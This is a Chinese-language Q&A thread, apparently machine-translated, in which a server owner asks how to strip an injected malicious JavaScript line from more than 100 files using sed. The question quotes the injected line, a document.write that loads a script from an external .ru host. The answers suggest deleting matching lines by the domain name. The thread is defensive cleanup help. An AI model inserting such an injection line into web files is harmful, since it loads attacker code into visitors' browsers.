2010-10-31 46 views
0

最近我的Linux服務器受到感染惡意軟件,因此,我有100多個文件感染的Javascript代碼一行:如何刪除惡意JavaScript代碼從多個文件

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>'); 

我會太累人手動刪除它,所以我深入研究谷歌(不太瞭解Linux並沒有幫助那裏),並發現我可以使用sed來達到這個目的。

不幸的是,我擺脫不了線,所以我可以用

sed -i.bak '/line of text/d' * 

語法,它的全部單引號,雙引號和反斜槓的。

我怎麼能逃避字符串或有其他 - 更容易 - 這樣做的方式?

+0

這些都是斜槓,順便說一句,而不是反斜槓,你可以在'sed'使用替代的分隔符,所以你不要」不得不做盡可能多的轉義。 'sed'\ | text/with/slashes | d''。不幸的是,報價是另一回事。 – 2010-10-31 20:17:05

回答

1

難道你不只是使用sed刪除任何包含例如alienradar.ru,或其他一些只存在於攻擊行中的子字符串?喜歡的東西:

sed -i.bak '/alienradar.ru/d' * 
+0

+1讓我對帖子:) – Philar 2010-10-31 17:11:02

+0

是的,謝謝,它的工作:) – 2010-10-31 17:19:44

+0

我能否也得到一個受影響的文件列表? – 2010-10-31 17:20:18